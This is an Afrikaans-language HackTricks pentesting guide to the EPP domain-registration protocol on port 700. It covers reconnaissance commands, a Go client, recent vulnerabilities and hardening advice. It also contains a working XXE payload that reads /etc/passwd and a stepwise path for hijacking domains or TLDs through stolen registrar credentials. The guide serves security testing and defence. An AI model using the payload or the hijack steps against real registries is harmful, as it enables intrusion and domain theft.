700 - Pentesting EPP
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Basiese Inligting
Die Extensible Provisioning Protocol (EPP) is ân netwerkprotokol wat gebruik word vir die bestuur van domeinnames en ander internetbronne deur domeinnaam registrasies en registrars. Dit stel die outomatisering van domeinnaamregistrasie, hernuwing, oordrag en verwydering prosesse in staat, wat ân gestandaardiseerde en veilige kommunikasiekader tussen verskillende entiteite in die domeinnaamstelsel (DNS) verseker. EPP is ontwerp om buigsaam en uitbreidbaar te wees, wat die toevoeging van nuwe kenmerke en opdragte moontlik maak namate die behoeftes van die internetinfrastruktuur ontwikkel.
Basies, dit is een van die protokolle wat ân TLD registrar gaan aanbied aan domein registrars om nuwe domeine in die TLD te registreer.
Pentest
In hierdie baie interessante artikel kan jy sien hoe sommige sekuriteitsnavorsers verskeie implementasies van hierdie protokol gevind het wat kwesbaar was vir XXE (XML External Entity) aangesien hierdie protokol XML gebruik om te kommunikeer, wat aanvallers sou toegelaat het om tientalle verskillende TLDâs oor te neem.
Enumerasie & Recon
EPP bedieners luister byna altyd op TCP 700/tcp oor TLS. ân Tipiese implementering afdwing ook mutual-TLS (mTLS) sodat die kliĂ«nt ân geldige sertifikaat wat deur die registrasie CA uitgereik is, moet aanbied. Nietemin, baie private toets- of voorproduksie-implementasies vergeet daardie beheer:
# Banner-grabbing / TLS inspection
nmap -p700 --script ssl-cert,ssl-enum-ciphers <target>
# Check if mTLS is *really* required (it frequently is not!)
openssl s_client -connect <target>:700 -quiet \
-servername epp.test 2>/dev/null | head
As die bediener nie die verbinding beĂ«indig na die TLS-handdruk nie, kan jy probeer om ân nie-geoutentiseerde <hello/> boodskap te stuur:
<?xml version="1.0" encoding="UTF-8"?>
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
<hello/>
</epp>
Open-source clients useful for testing
- epp-client (Go) â aktief onderhoude, ondersteun TCP/TLS en EPP-over-HTTPS (RFC 8730):
go install github.com/domainr/epp/cmd/epp@latest - gandi/go-epp â minimale kliĂ«ntbiblioteek wat maklik vir fuzzing of nuclei-styl werksvloeiâs geinstrumenteer kan word.
- afq984/php-epp-client â PHP-implementasie wat deur baie klein registrateurs gebruik word; ân gerieflike teiken vir kode-oorsig.
Voorbeeld minimale aanmeld+kontrole skrip met Go epp-client:
package main
import (
"github.com/domainr/epp"
"crypto/tls"
)
func main() {
cfg := &tls.Config{InsecureSkipVerify: true}
c, _ := epp.DialTLS("epp.test:700", cfg)
c.Login("CLIENT_ID", "PASSWORD", nil)
resp, _ := c.DomainCheck("example","com")
println(resp)
}
Algemene Swakhede & 2023-2025 Kw vulnerabilities
| Jaar | Komponent | CWE | Impak |
|---|---|---|---|
| 2023 | CoCCA Registrasie < 3.5 | CWE-611 XXE | AfgeleĂ« lĂȘer lees & SSRF via vervaardigde <epp> payload (patch: 2023-11-02) |
| 2024 | FRED EPP Bediener 2.x | CWE-322 Onvoldoende TLS sertifikaat validasie | Bypass van mTLS het ongeoorloofde registrateur aanmelding toegelaat |
| 2025 | Eie registrateur paneel | CWE-306 Ontbrekende Verifikasie vir Kritieke Funksie | Domein oordrag goedkeuringspunt blootgestel oor EPP-HTTP brug |
XXE / SSRF payload (werk teen baie Java/Spring implementasies)
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
<command>
<check>
<domain:check xmlns:domain="urn:ietf:params:xml:ns:domain-1.0">
<domain:name>&xxe;</domain:name>
</domain:check>
</check>
</command>
</epp>
Wanneer die parser verkeerd gekonfigureer is (XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES=true), word die lĂȘerinhoud binne die <resData> struktuur teruggestuur.
Ander tipiese bevindings
- Swak geloofsbriefbeleid â EPP aanmeldwagwoorde korter as 8 karakters; brute-force is dikwels haalbaar omdat die spesifikasie slegs aanbeveel (nie vereis nie) om koersbeperking toe te pas.
- Ontbrekende
registryLock/serverUpdateProhibitedstatus â sodra geverifieer, kan aanvallers onmiddellik NS rekords opdateer en verkeer steel. - Ongesigneerde peilboodskappe â sommige implementasies teken steeds nie peil Q&A boodskappe nie, wat spoofing/phishing van registrateur operateurs moontlik maak.
Aanvalspad: Van Nul tot TLD Kaap
- Ontdek ân EPP eindpunt (dikwels versteek agter ân generiese gasheer soos
ot&e.<tld>.nic.<cc>). - Misbruik een van die bogenoemde swakhede om registrateur-niveau geloofsbriewe te verkry (XXE â SSRF na IMDSv1, geloofsbrief eksfiltrasie, of TLS-omseiling).
- Stuur
<update>versoeke om die domein sehostObjrekords na aanvaller-beheerde naamservers te verander. - (Opsioneel) Dien ân
<transfer>in om die domein na ân aanvaller-beheerde registrateur te skuif â baie registrasies staatmaak steeds op ân enkele auth-code. - Wins: volle beheer oor DNS-sone, vermoĂ« om TLS sertifikate aan te vra via ACME.
Verdedigingsmaatreëls & Versterking
- Handhaaf mTLS met per-registrateur kliënt sertifikate en pin die registrasie CA.
- Stel
parserFeature secure-processing=trueof gelykwaardig in om XXE te beëindig. - Voer deurlopende fuzzing van die XML-parser uit (bv. met
go-fuzzofjazzervir Java). - Ontplooi Registry Lock / server*Prohibited statusse vir hoëwaarde domeine.
- Monitor
pollwag vir verdagte<transfer>of<update>opdragte en waarsku in werklike tyd. - ICANN 2024 DNS-Misbruik kontrakwysigings vereis dat registrasies moet bewys dat koersbeperkings & auth kontroles toegepas word â benut dit.
Verwysings
- ICANN Veiligheid en Stabiliteit Advieskomitee (SSAC). âSAC118: Gevolge van Registrasie Operateur se Faal om EPP Veiligheid BeheermaatreĂ«ls te Implementeerâ. 2024.
- HackCompute â âHacking EPP bedieners: misbruik van XXE om TLDs te kaapâ (2023).
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks

